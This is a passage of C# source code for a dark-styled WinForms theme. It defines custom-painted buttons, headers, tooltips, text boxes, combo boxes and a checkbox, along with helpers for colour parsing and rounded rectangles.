Color.FromArgb(Convert.ToInt32(long.Parse(string.Format("FFFFFFFFFF{0}", Hex.Substring(1)), System.Globalization.NumberStyles.HexNumber))); 50 | } 51 | 52 | public static Point MiddlePoint(string TargetText, Font TargetFont, Rectangle Rect) 53 | { 54 | TargetStringMeasure = G.MeasureString(TargetText, TargetFont); 55 | return new Point(Convert.ToInt32(Rect.Width / 2 - TargetStringMeasure.Width / 2), Convert.ToInt32(Rect.Height / 2 - TargetStringMeasure.Height / 2)); 56 | } 57 | 58 | public static GraphicsPath RoundRect(Rectangle Rect, int Rounding, RoundingStyle Style = RoundingStyle.All) 59 | { 60 | 61 | GraphicsPath GP = new GraphicsPath(); 62 | int AW = Rounding * 2; 63 | 64 | GP.StartFigure(); 65 | 66 | if (Rounding == 0) 67 | { 68 | GP.AddRectangle(Rect); 69 | GP.CloseAllFigures(); 70 | return GP; 71 | } 72 | 73 | switch (Style) 74 | { 75 | case RoundingStyle.All: 76 | GP.AddArc(new Rectangle(Rect.X, Rect.Y, AW, AW), -180, 90); 77 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Y, AW, AW), -90, 90); 78 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Height - AW + Rect.Y, AW, AW), 0, 90); 79 | GP.AddArc(new Rectangle(Rect.X, Rect.Height - AW + Rect.Y, AW, AW), 90, 90); 80 | break; 81 | case RoundingStyle.Top: 82 | GP.AddArc(new Rectangle(Rect.X, Rect.Y, AW, AW), -180, 90); 83 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Y, AW, AW), -90, 90); 84 | GP.AddLine(new Point(Rect.X + Rect.Width, Rect.Y + Rect.Height), new Point(Rect.X, Rect.Y + Rect.Height)); 85 | break; 86 | case RoundingStyle.Bottom: 87 | GP.AddLine(new Point(Rect.X, Rect.Y), new Point(Rect.X + Rect.Width, Rect.Y)); 88 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Height - AW + Rect.Y, AW, AW), 0, 90); 89 | GP.AddArc(new Rectangle(Rect.X, Rect.Height - AW + Rect.Y, AW, AW), 90, 90); 90 | break; 91 | case RoundingStyle.Left: 92 | GP.AddArc(new Rectangle(Rect.X, Rect.Y, AW, AW), -180, 90); 93 | GP.AddLine(new Point(Rect.X + Rect.Width, Rect.Y), new Point(Rect.X + Rect.Width, Rect.Y + Rect.Height)); 94 | GP.AddArc(new Rectangle(Rect.X, Rect.Height - AW + Rect.Y, AW, AW), 90, 90); 95 | break; 96 | case RoundingStyle.Right: 97 | GP.AddLine(new Point(Rect.X, Rect.Y + Rect.Height), new Point(Rect.X, Rect.Y)); 98 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Y, AW, AW), -90, 90); 99 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Height - AW + Rect.Y, AW, AW), 0, 90); 100 | break; 101 | case RoundingStyle.TopRight: 102 | GP.AddLine(new Point(Rect.X, Rect.Y + 1), new Point(Rect.X, Rect.Y)); 103 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Y, AW, AW), -90, 90); 104 | GP.AddLine(new Point(Rect.X + Rect.Width, Rect.Y + Rect.Height - 1), new Point(Rect.X + Rect.Width, Rect.Y + Rect.Height)); 105 | GP.AddLine(new Point(Rect.X + 1, Rect.Y + Rect.Height), new Point(Rect.X, Rect.Y + Rect.Height)); 106 | break; 107 | case RoundingStyle.BottomRight: 108 | GP.AddLine(new Point(Rect.X, Rect.Y + 1), new Point(Rect.X, Rect.Y)); 109 | GP.AddLine(new Point(Rect.X + Rect.Width - 1, Rect.Y), new Point(Rect.X + Rect.Width, Rect.Y)); 110 | GP.AddArc(new Rectangle(Rect.Width - AW + Rect.X, Rect.Height - AW + Rect.Y, AW, AW), 0, 90); 111 | GP.AddLine(new Point(Rect.X + 1, Rect.Y + Rect.Height), new Point(Rect.X, Rect.Y + Rect.Height)); 112 | break; 113 | } 114 | 115 | GP.CloseAllFigures(); 116 | 117 | return GP; 118 | 119 | } 120 | 121 | } 122 | 123 | public class BoosterButton : Button 124 | { 125 | 126 | private MouseState State; 127 | 128 | private LinearGradientBrush Gradient; 129 | public BoosterButton() 130 | { 131 | DoubleBuffered = true; 132 | Font = new Font("Segoe UI", 9); 133 | ForeColor = Helpers.ColorFromHex("#B6B6B6"); 134 | SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.Opaque | ControlStyles.OptimizedDoubleBuffer, true); 135 | } 136 | 137 | 138 | protected override void OnPaint(PaintEventArgs e) 139 | { 140 | Helpers.G = e.Graphics; 141 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality; 142 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; 143 | 144 | base.OnPaint(e); 145 | 146 | Helpers.G.Clear(Parent.BackColor); 147 | 148 | 149 | if (Enabled) 150 | { 151 | switch (State) 152 | { 153 | case MouseState.None: 154 | Gradient = new LinearGradientBrush(new Rectangle(0, 0, Width - 1, Height - 1), Helpers.ColorFromHex("#606060"), Helpers.ColorFromHex("#4E4E4E"), LinearGradientMode.Vertical); 155 | 156 | break; 157 | case MouseState.Over: 158 | Gradient = new LinearGradientBrush(new Rectangle(0, 0, Width - 1, Height - 1), Helpers.ColorFromHex("#6A6A6A"), Helpers.ColorFromHex("#585858"), LinearGradientMode.Vertical); 159 | 160 | break; 161 | case MouseState.Down: 162 | Gradient = new LinearGradientBrush(new Rectangle(0, 0, Width - 1, Height - 1), Helpers.ColorFromHex("#565656"), Helpers.ColorFromHex("#444444"), LinearGradientMode.Vertical); 163 | 164 | break; 165 | } 166 | 167 | Helpers.G.FillPath(Gradient, Helpers.RoundRect(new Rectangle(0, 0, Width - 1, Height - 1), 3)); 168 | 169 | using (Pen Border = new Pen(Helpers.ColorFromHex("#323232"))) 170 | { 171 | Helpers.G.DrawPath(Border, Helpers.RoundRect(new Rectangle(0, 0, Width - 1, Height - 1), 3)); 172 | } 173 | 174 | //// Top Line 175 | switch (State) 176 | { 177 | 178 | case MouseState.None: 179 | 180 | using (Pen TopLine = new Pen(Helpers.ColorFromHex("#737373"))) 181 | { 182 | Helpers.G.DrawLine(TopLine, 4, 1, Width - 4, 1); 183 | } 184 | 185 | 186 | break; 187 | case MouseState.Over: 188 | 189 | using (Pen TopLine = new Pen(Helpers.ColorFromHex("#7D7D7D"))) 190 | { 191 | Helpers.G.DrawLine(TopLine, 4, 1, Width - 4, 1); 192 | } 193 | 194 | 195 | break; 196 | case MouseState.Down: 197 | 198 | using (Pen TopLine = new Pen(Helpers.ColorFromHex("#696969"))) 199 | { 200 | Helpers.G.DrawLine(TopLine, 4, 1, Width - 4, 1); 201 | } 202 | 203 | 204 | break; 205 | } 206 | 207 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#F5F5F5"))) 208 | { 209 | using (Font TextFont = new Font("Segoe UI", 9)) 210 | { 211 | Helpers.G.DrawString(Text, TextFont, TextBrush, Helpers.MiddlePoint(Text, TextFont, new Rectangle(0, 0, Width + 2, Height))); 212 | } 213 | } 214 | 215 | 216 | } 217 | else 218 | { 219 | Gradient = new LinearGradientBrush(new Rectangle(0, 0, Width - 1, Height - 1), Helpers.ColorFromHex("#4C4C4C"), Helpers.ColorFromHex("#3A3A3A"), LinearGradientMode.Vertical); 220 | 221 | Helpers.G.FillPath(Gradient, Helpers.RoundRect(new Rectangle(0, 0, Width - 1, Height - 1), 3)); 222 | 223 | using (Pen Border = new Pen(Helpers.ColorFromHex("#323232"))) 224 | { 225 | Helpers.G.DrawPath(Border, Helpers.RoundRect(new Rectangle(0, 0, Width - 1, Height - 1), 3)); 226 | } 227 | 228 | using (Pen TopLine = new Pen(Helpers.ColorFromHex("#5F5F5F"))) 229 | { 230 | Helpers.G.DrawLine(TopLine, 4, 1, Width - 4, 1); 231 | } 232 | 233 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#818181"))) 234 | { 235 | using (Font TextFont = new Font("Segoe UI", 9)) 236 | { 237 | Helpers.G.DrawString(Text, TextFont, TextBrush, Helpers.MiddlePoint(Text, TextFont, new Rectangle(0, 0, Width + 2, Height))); 238 | } 239 | } 240 | 241 | } 242 | 243 | } 244 | 245 | protected override void OnMouseEnter(EventArgs e) 246 | { 247 | State = MouseState.Over; 248 | Invalidate(); 249 | base.OnMouseEnter(e); 250 | } 251 | 252 | protected override void OnMouseLeave(EventArgs e) 253 | { 254 | State = MouseState.None; 255 | Invalidate(); 256 | base.OnMouseLeave(e); 257 | } 258 | 259 | protected override void OnMouseDown(MouseEventArgs e) 260 | { 261 | State = MouseState.Down; 262 | Invalidate(); 263 | base.OnMouseDown(e); 264 | } 265 | 266 | protected override void OnMouseUp(MouseEventArgs e) 267 | { 268 | State = MouseState.Over; 269 | Invalidate(); 270 | base.OnMouseUp(e); 271 | } 272 | 273 | } 274 | 275 | public class BoosterHeader : Control 276 | { 277 | 278 | 279 | private SizeF TextMeasure; 280 | public BoosterHeader() 281 | { 282 | DoubleBuffered = true; 283 | Font = new Font("Segoe UI", 10); 284 | ForeColor = Helpers.ColorFromHex("#C0C0C0"); 285 | } 286 | 287 | 288 | protected override void OnPaint(PaintEventArgs e) 289 | { 290 | Helpers.G = e.Graphics; 291 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality; 292 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; 293 | 294 | Helpers.G.Clear(Parent.BackColor); 295 | 296 | using (Pen Line = new Pen(Helpers.ColorFromHex("#5C5C5C"))) 297 | { 298 | Helpers.G.DrawLine(Line, 0, 6, Width - 1, 6); 299 | } 300 | 301 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#D4D4D4"))) 302 | { 303 | using (Font TextFont = new Font("Segoe UI", 10)) 304 | { 305 | using (SolidBrush ParentFill = new SolidBrush(Parent.BackColor)) 306 | { 307 | TextMeasure = Helpers.G.MeasureString(Text, TextFont); 308 | Helpers.G.FillRectangle(ParentFill, new Rectangle(14, -4, Convert.ToInt32(TextMeasure.Width + 8), Convert.ToInt32(TextMeasure.Height + 4))); 309 | Helpers.G.DrawString(Text, TextFont, TextBrush, new Point(20, -4)); 310 | } 311 | } 312 | } 313 | 314 | base.OnPaint(e); 315 | } 316 | 317 | protected override void OnResize(EventArgs e) 318 | { 319 | Size = new Size(Width, 14); 320 | base.OnResize(e); 321 | } 322 | 323 | } 324 | 325 | public class BoosterToolTip : ToolTip 326 | { 327 | 328 | public BoosterToolTip() 329 | { 330 | OwnerDraw = true; 331 | BackColor = Helpers.ColorFromHex("#242424"); 332 | Draw += OnDraw; 333 | } 334 | 335 | 336 | private void OnDraw(object sender, DrawToolTipEventArgs e) 337 | { 338 | Helpers.G = e.Graphics; 339 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality; 340 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; 341 | 342 | Helpers.G.Clear(Helpers.ColorFromHex("#242424")); 343 | 344 | using (Pen Border = new Pen(Helpers.ColorFromHex("#343434"))) 345 | { 346 | Helpers.G.DrawRectangle(Border, new Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width - 1, e.Bounds.Height - 1)); 347 | } 348 | 349 | 350 | if (ToolTipIcon == ToolTipIcon.None) 351 | { 352 | using (Font TextFont = new Font("Segoe UI", 9)) 353 | { 354 | using (SolidBrush TextBrush = new SolidBrush(Helpers.ColorFromHex("#B6B6B6"))) 355 | { 356 | Helpers.G.DrawString(e.ToolTipText, TextFont, TextBrush, new PointF(e.Bounds.X + 4, e.Bounds.Y + 1)); 357 | } 358 | } 359 | 360 | 361 | } 362 | else 363 | { 364 | switch (ToolTipIcon) 365 | { 366 | 367 | case ToolTipIcon.Info: 368 | 369 | using (Font TextFont = new Font("Segoe UI", 9, FontStyle.Bold)) 370 | { 371 | using (SolidBrush TextBrush = new SolidBrush(Helpers.ColorFromHex("#7FD88B"))) 372 | { 373 | Helpers.G.DrawString("Information", TextFont, TextBrush, new PointF(e.Bounds.X + 4, e.Bounds.Y + 2)); 374 | } 375 | } 376 | 377 | 378 | break; 379 | case ToolTipIcon.Warning: 380 | 381 | using (Font TextFont = new Font("Segoe UI", 9, FontStyle.Bold)) 382 | { 383 | using (SolidBrush TextBrush = new SolidBrush(Helpers.ColorFromHex("#D8C67F"))) 384 | { 385 | Helpers.G.DrawString("Warning", TextFont, TextBrush, new PointF(e.Bounds.X + 4, e.Bounds.Y + 2)); 386 | } 387 | } 388 | 389 | 390 | break; 391 | case ToolTipIcon.Error: 392 | 393 | using (Font TextFont = new Font("Segoe UI", 9, FontStyle.Bold)) 394 | { 395 | using (SolidBrush TextBrush = new SolidBrush(Helpers.ColorFromHex("#D87F7F"))) 396 | { 397 | Helpers.G.DrawString("Error", TextFont, TextBrush, new PointF(e.Bounds.X + 4, e.Bounds.Y + 2)); 398 | } 399 | } 400 | 401 | 402 | break; 403 | } 404 | 405 | using (Font TextFont = new Font("Segoe UI", 9)) 406 | { 407 | using (SolidBrush TextBrush = new SolidBrush(Helpers.ColorFromHex("#B6B6B6"))) 408 | { 409 | Helpers.G.DrawString(e.ToolTipText, TextFont, TextBrush, new PointF(e.Bounds.X + 4, e.Bounds.Y + 15)); 410 | } 411 | } 412 | 413 | } 414 | 415 | } 416 | 417 | } 418 | public class XylosNotice : TextBox 419 | { 420 | private Graphics G; 421 | 422 | private string B64; 423 | 424 | public XylosNotice() 425 | { 426 | this.B64 = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABL0lEQVQ4T5VT0VGDQBB9e2cBdGBSgTIDEr9MCw7pI0kFtgB9yFiC+KWMmREqMOnAAuDWOfAiudzhyA/svtvH7Xu7BOv5eH2atVKtwbwk0LWGGVyDqLzoRB7e3u/HJTQOdm+PGYjWNuk4ZkIW36RbkzsS7KqiBnB1Usw49DHh8oQEXMfJKhwgAM4/Mw7RIp0NeLG3ScCcR4vVhnTPnVCf9rUZeImTdKnz71VREnBnn5FKzMnX95jA2V6vLufkBQFESTq0WBXsEla7owmcoC6QJMKW2oCUePY5M0lAjK0iBAQ8TBGc2/d7+uvnM/AQNF4Rp4bpiGkRfTb2Gigx12+XzQb3D9JfBGaQzHWm7HS000RJ2i/av5fJjPDZMplErwl1GxDpMTbL1YC5lCwze52/AQFekh7wKBpGAAAAAElFTkSuQmCC"; 427 | this.DoubleBuffered = true; 428 | base.Enabled = false; 429 | base.ReadOnly = true; 430 | base.BorderStyle = BorderStyle.None; 431 | this.Multiline = true; 432 | this.Cursor = Cursors.Default; 433 | } 434 | 435 | protected override void OnCreateControl() 436 | { 437 | base.OnCreateControl(); 438 | base.SetStyle(ControlStyles.UserPaint, true); 439 | } 440 | 441 | protected override void OnPaint(PaintEventArgs e) 442 | { 443 | this.G = e.Graphics; 444 | this.G.SmoothingMode = SmoothingMode.HighQuality; 445 | this.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; 446 | base.OnPaint(e); 447 | this.G.Clear(Color.White); 448 | using (SolidBrush solidBrush = new SolidBrush(Helpers.ColorFromHex("#FFFDE8"))) 449 | { 450 | using (Pen pen = new Pen(Helpers.ColorFromHex("#F2F3F7"))) 451 | { 452 | using (SolidBrush solidBrush2 = new SolidBrush(Helpers.ColorFromHex("#B9B595"))) 453 | { 454 | using (Font font = new Font("Segoe UI", 9f)) 455 | { 456 | this.G.FillPath(solidBrush, Helpers.RoundRect(Helpers.FullRectangle(base.Size, true), 3, Helpers.RoundingStyle.All)); 457 | this.G.DrawPath(pen, Helpers.RoundRect(Helpers.FullRectangle(base.Size, true), 3, Helpers.RoundingStyle.All)); 458 | this.G.DrawString(this.Text, font, solidBrush2, new Point(30, 6)); 459 | } 460 | } 461 | } 462 | } 463 | using (Image image = Image.FromStream(new MemoryStream(Convert.FromBase64String(this.B64)))) 464 | { 465 | this.G.DrawImage(image, new Rectangle(8, checked((int)Math.Round(unchecked((double)base.Height / 2.0 - 8.0))), 16, 16)); 466 | } 467 | } 468 | 469 | protected override void OnMouseUp(MouseEventArgs e) 470 | { 471 | base.OnMouseUp(e); 472 | } 473 | } 474 | [DefaultEvent("TextChanged")] 475 | public class BoosterTextBox : Control 476 | { 477 | 478 | private TextBox withEventsField_T; 479 | 480 | private TextBox T 481 | { 482 | get { return withEventsField_T; } 483 | set 484 | { 485 | withEventsField_T = value; 486 | T.Text = withEventsField_T.Text; 487 | } 488 | } 489 | 490 | private MouseState State; 491 | public new string Text 492 | { 493 | get { return T.Text; } 494 | set 495 | { 496 | base.Text = value; 497 | T.Text = value; 498 | Invalidate(); 499 | } 500 | } 501 | 502 | public new bool Enabled 503 | { 504 | get { return T.Enabled; } 505 | set 506 | { 507 | T.Enabled = value; 508 | Invalidate(); 509 | } 510 | } 511 | 512 | public bool UseSystemPasswordChar 513 | { 514 | get { return T.UseSystemPasswordChar; } 515 | set 516 | { 517 | T.UseSystemPasswordChar = value; 518 | Invalidate(); 519 | } 520 | } 521 | 522 | public bool MultiLine 523 | { 524 | get { return T.Multiline; } 525 | set 526 | { 527 | T.Multiline = value; 528 | Size = new Size(T.Width + 2, T.Height + 2); 529 | Invalidate(); 530 | } 531 | } 532 | 533 | public new bool ReadOnly 534 | { 535 | get { return T.ReadOnly; } 536 | set 537 | { 538 | T.ReadOnly = value; 539 | Invalidate(); 540 | } 541 | } 542 | 543 | public BoosterTextBox() 544 | { 545 | DoubleBuffered = true; 546 | 547 | T = new TextBox 548 | { 549 | BorderStyle = BorderStyle.None, 550 | BackColor = Helpers.ColorFromHex("#242424"), 551 | ForeColor = Helpers.ColorFromHex("#B6B6B6"), 552 | Location = new Point(1, 1), 553 | Multiline = true 554 | }; 555 | 556 | Controls.Add(T); 557 | } 558 | 559 | 560 | protected override void OnPaint(PaintEventArgs e) 561 | { 562 | Helpers.G = e.Graphics; 563 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality; 564 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; 565 | 566 | if (Enabled) 567 | { 568 | T.BackColor = Helpers.ColorFromHex("#242424"); 569 | 570 | switch (State) 571 | { 572 | 573 | case MouseState.Down: 574 | 575 | using (Pen Border = new Pen(Helpers.ColorFromHex("#C8C8C8"))) 576 | { 577 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1)); 578 | } 579 | 580 | 581 | break; 582 | default: 583 | 584 | using (Pen Border = new Pen(Helpers.ColorFromHex("#5C5C5C"))) 585 | { 586 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1)); 587 | } 588 | 589 | 590 | break; 591 | } 592 | 593 | 594 | } 595 | else 596 | { 597 | T.BackColor = Helpers.ColorFromHex("#282828"); 598 | 599 | using (Pen Border = new Pen(Helpers.ColorFromHex("#484848"))) 600 | { 601 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1)); 602 | } 603 | 604 | } 605 | 606 | base.OnPaint(e); 607 | 608 | } 609 | 610 | protected override void OnEnter(EventArgs e) 611 | { 612 | State = MouseState.Down; 613 | Invalidate(); 614 | base.OnEnter(e); 615 | } 616 | 617 | protected override void OnLeave(EventArgs e) 618 | { 619 | State = MouseState.None; 620 | Invalidate(); 621 | base.OnLeave(e); 622 | } 623 | 624 | protected override void OnResize(EventArgs e) 625 | { 626 | if (MultiLine) 627 | { 628 | T.Size = new Size(Width - 2, Height - 2); 629 | Invalidate(); 630 | } 631 | else 632 | { 633 | T.Size = new Size(Width - 2, T.Height); 634 | Size = new Size(Width, T.Height + 2); 635 | } 636 | base.OnResize(e); 637 | } 638 | 639 | private void TTextChanged() 640 | { 641 | base.OnTextChanged(EventArgs.Empty); 642 | } 643 | 644 | } 645 | 646 | public class BoosterComboBox : ComboBox 647 | { 648 | 649 | private MouseState State; 650 | 651 | private Rectangle Rect; 652 | private string ItemString = string.Empty; 653 | 654 | private string FirstItem = string.Empty; 655 | public BoosterComboBox() 656 | { 657 | ItemHeight = 20; 658 | DoubleBuffered = true; 659 | BackColor = Color.FromArgb(36, 36, 36); 660 | DropDownStyle = ComboBoxStyle.DropDownList; 661 | DrawMode = DrawMode.OwnerDrawFixed; 662 | SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.Opaque | ControlStyles.OptimizedDoubleBuffer, true); 663 | } 664 | 665 | 666 | protected override void OnPaint(PaintEventArgs e) 667 | { 668 | Helpers.G = e.Graphics; 669 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality; 670 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; 671 | 672 | base.OnPaint(e); 673 | 674 | Helpers.G.Clear(Parent.BackColor); 675 | 676 | 677 | if (Enabled) 678 | { 679 | using (SolidBrush Fill = new SolidBrush(Helpers.ColorFromHex("#242424"))) 680 | { 681 | Helpers.G.FillRectangle(Fill, new Rectangle(0, 0, Width - 1, Height - 1)); 682 | } 683 | 684 | switch (State) 685 | { 686 | 687 | case MouseState.None: 688 | 689 | using (Pen Border = new Pen(Helpers.ColorFromHex("#5C5C5C"))) 690 | { 691 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1)); 692 | } 693 | 694 | 695 | break; 696 | case MouseState.Over: 697 | 698 | using (Pen Border = new Pen(Helpers.ColorFromHex("#C8C8C8"))) 699 | { 700 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1)); 701 | } 702 | 703 | 704 | break; 705 | } 706 | 707 | using (Font ArrowFont = new Font("Marlett", 12)) 708 | { 709 | using (SolidBrush ArrowBrush = new SolidBrush(Helpers.ColorFromHex("#909090"))) 710 | { 711 | Helpers.G.DrawString("6", ArrowFont, ArrowBrush, new Point(Width - 20, 5)); 712 | } 713 | } 714 | 715 | 716 | if ((Items != null)) 717 | { 718 | try 719 | { 720 | FirstItem = GetItemText(Items[0]); 721 | } 722 | catch 723 | { 724 | } 725 | 726 | 727 | if (!(SelectedIndex == -1)) 728 | { 729 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#B6B6B6"))) 730 | { 731 | using (Font TextFont = new Font("Segoe UI", 9)) 732 | { 733 | Helpers.G.DrawString(ItemString, TextFont, TextBrush, new Point(4, 4)); 734 | } 735 | } 736 | 737 | 738 | } 739 | else 740 | { 741 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#B6B6B6"))) 742 | { 743 | using (Font TextFont = new Font("Segoe UI", 9)) 744 | { 745 | Helpers.G.DrawString(FirstItem, TextFont, TextBrush, new Point(4, 4)); 746 | } 747 | } 748 | 749 | } 750 | 751 | 752 | } 753 | 754 | 755 | } 756 | else 757 | { 758 | using (SolidBrush Fill = new SolidBrush(ColorFromHex("#282828"))) 759 | { 760 | using (Pen Border = new Pen(Helpers.ColorFromHex("#484848"))) 761 | { 762 | Helpers.G.FillRectangle(Fill, new Rectangle(0, 0, Width - 1, Height - 1)); 763 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1)); 764 | } 765 | } 766 | 767 | using (Font ArrowFont = new Font("Marlett", 12)) 768 | { 769 | using (SolidBrush ArrowBrush = new SolidBrush(Helpers.ColorFromHex("#707070"))) 770 | { 771 | Helpers.G.DrawString("6", ArrowFont, ArrowBrush, new Point(Width - 20, 5)); 772 | } 773 | } 774 | 775 | 776 | if ((Items != null)) 777 | { 778 | try 779 | { 780 | FirstItem = GetItemText(Items[0]); 781 | } 782 | catch 783 | { 784 | } 785 | 786 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#818181"))) 787 | { 788 | using (Font TextFont = new Font("Segoe UI", 9)) 789 | { 790 | Helpers.G.DrawString(FirstItem, TextFont, TextBrush, new Point(4, 4)); 791 | } 792 | } 793 | 794 | } 795 | 796 | } 797 | 798 | } 799 | 800 | 801 | protected override void OnDrawItem(DrawItemEventArgs e) 802 | { 803 | Helpers.G = e.Graphics; 804 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality; 805 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; 806 | 807 | Rect = e.Bounds; 808 | 809 | using (SolidBrush Back = new SolidBrush(Helpers.ColorFromHex("#242424"))) 810 | { 811 | Helpers.G.FillRectangle(Back, new Rectangle(e.Bounds.X - 4, e.Bounds.Y - 1, e.Bounds.Width + 4, e.Bounds.Height - 1)); 812 | } 813 | 814 | if (!(e.Index == -1)) 815 | { 816 | ItemString = GetItemText(Items[e.Index]); 817 | } 818 | 819 | using (Font ItemsFont = new Font("Segoe UI", 9)) 820 | { 821 | using (Pen Border = new Pen(Helpers.ColorFromHex("#D0D5D9"))) 822 | { 823 | 824 | 825 | if ((e.State & DrawItemState.Selected) == DrawItemState.Selected) 826 | { 827 | using (SolidBrush HoverItemBrush = new SolidBrush(Helpers.ColorFromHex("#F5F5F5"))) 828 | { 829 | Helpers.G.DrawString(ItemString, new Font("Segoe UI", 9), HoverItemBrush, new Point(Rect.X + 5, Rect.Y + 1)); 830 | } 831 | 832 | 833 | } 834 | else 835 | { 836 | using (SolidBrush DefaultItemBrush = new SolidBrush(Helpers.ColorFromHex("#C0C0C0"))) 837 | { 838 | Helpers.G.DrawString(ItemString, new Font("Segoe UI", 9), DefaultItemBrush, new Point(Rect.X + 5, Rect.Y + 1)); 839 | } 840 | 841 | } 842 | 843 | } 844 | } 845 | 846 | e.DrawFocusRectangle(); 847 | 848 | base.OnDrawItem(e); 849 | 850 | } 851 | 852 | protected override void OnSelectedItemChanged(EventArgs e) 853 | { 854 | Invalidate(); 855 | base.OnSelectedItemChanged(e); 856 | } 857 | 858 | protected override void OnSelectedIndexChanged(EventArgs e) 859 | { 860 | State = MouseState.None; 861 | Invalidate(); 862 | base.OnSelectedIndexChanged(e); 863 | } 864 | 865 | protected override void OnMouseEnter(EventArgs e) 866 | { 867 | State = MouseState.Over; 868 | Invalidate(); 869 | base.OnMouseEnter(e); 870 | } 871 | 872 | protected override void OnMouseLeave(EventArgs e) 873 | { 874 | State = MouseState.None; 875 | Invalidate(); 876 | base.OnMouseLeave(e); 877 | } 878 | 879 | } 880 | 881 | public class BoosterCheckBox : CheckBox 882 | { 883 | 884 | private MouseState State; 885 | 886 | private bool Block; 887 | private Thread CheckThread; 888 | private Thread UncheckThread; 889 | 890 | private Rectangle OverFillRect = new Rectangle(1, 1, 14, 14); 891 | public BoosterCheckBox() 892 | { 893 | DoubleBuffered = true; 894 | Font = new Font("Segoe UI", 9); 895 | SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.Opaque | ControlStyles.OptimizedDoubleBuffer, true); 896 | } 897 | 898 | 899 | private void CheckAnimation() 900 | { 901 | Block = true; 902 | 903 | int X = 1; 904 | int Rectw = 15; 905 | 906 | while (!(OverFillRect.Width == 0)) 907 | { 908 | X += 1; 909 | Rectw -= 1; 910 | OverFillRect = new Rectangle(X, OverFillRect.Y, Rectw, OverFillRect.Height); 911 | Invalidate(); 912 | Thread.Sleep(30); 913 | } 914 | 915 | Block = false; 916 | 917 | } 918 | 919 | 920 | private void UncheckAnimation() 921 | { 922 | Block = true; 923 | 924 | int X = 15; 925 | int Rectw = 0; 926 | 927 | while (!(OverFillRect.Width == 14)) 928 | { 929 | X -= 1; 930 | Rectw += 1; 931 | OverFillRect = new Rectangle(X, OverFillRect.Y, Rectw, OverFillRect.Height); 932 | Invalidate(); 933 | Thread.Sleep(30); 934 | } 935 | 936 | Block = false; 937 | 938 | } 939 | 940 | protected override void OnPaint(PaintEventArgs e) 941 | { 942 | Helpers.G = e.Graphics; 943 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality; 944 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; 945 | 946 | base.OnPaint(e); 947 | 948 | Helpers.G.Clear(Parent.BackColor); 949 | 950 | 951 | if (Enabled) 952 | { 953 | using (SolidBrush Fill = new SolidBrush(ColorFromHex("#242424"))) 954 | { 955 | using (Pen Border = new Pen(Helpers.ColorFromHex("#5C5C5C"))) 956 | { 957 | Helpers.G.FillRectangle(Fill, new Rectangle(0, 0, 16, 16)); 958 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, 16, 16)); 959 | } 960 | } 961 | 962 | switch (State) 963 | { 964 | 965 | case MouseState.None: 966 | 967 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#B6B6B6"))) 968 | { 969 | using (Font TextFont = new Font("Segoe UI", 9)) 970 | { 971 | Helpers.G.DrawString(Text, TextFont, TextBrush, new Point(25, -1)); 972 | } 973 | } 974 | 975 | 976 | break; 977 | case MouseState.Over: 978 | 979 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#F5F5F5"))) 980 | { 981 | using (Font TextFont = new Font("Segoe UI", 9)) 982 | { 983 | Helpers.G.DrawString(Text, TextFont, TextBrush, new Point(25, -1)); 984 | } 985 | } 986 | 987 | 988 | break; 989 | } 990 | 991 | using (Font CheckFont = new Font("Marlett", 12)) 992 | { 993 | using (SolidBrush CheckBrush = new SolidBrush(Color.FromArgb(144, 144, 144))) 994 | { 995 | Helpers.G.DrawString("b", CheckFont, CheckBrush, new Point(-2, 1)); 996 | } 997 | } 998 | 999 | using (SolidBrush Fill = new SolidBrush(Helpers.ColorFromHex("#242424"))) 1000 | { 1001 | Helpers.G.SmoothingMode = SmoothingMode.None; 1002 | Helpers.G.FillRectangle(Fill, OverFillRect); 1003 | } 1004 | 1005 | 1006 | } 1007 | else 1008 | { 1009 | using (SolidBrush Fill = new SolidBrush(ColorFromHex("#282828"))) 1010 | { 1011 | using (Pen Border = new 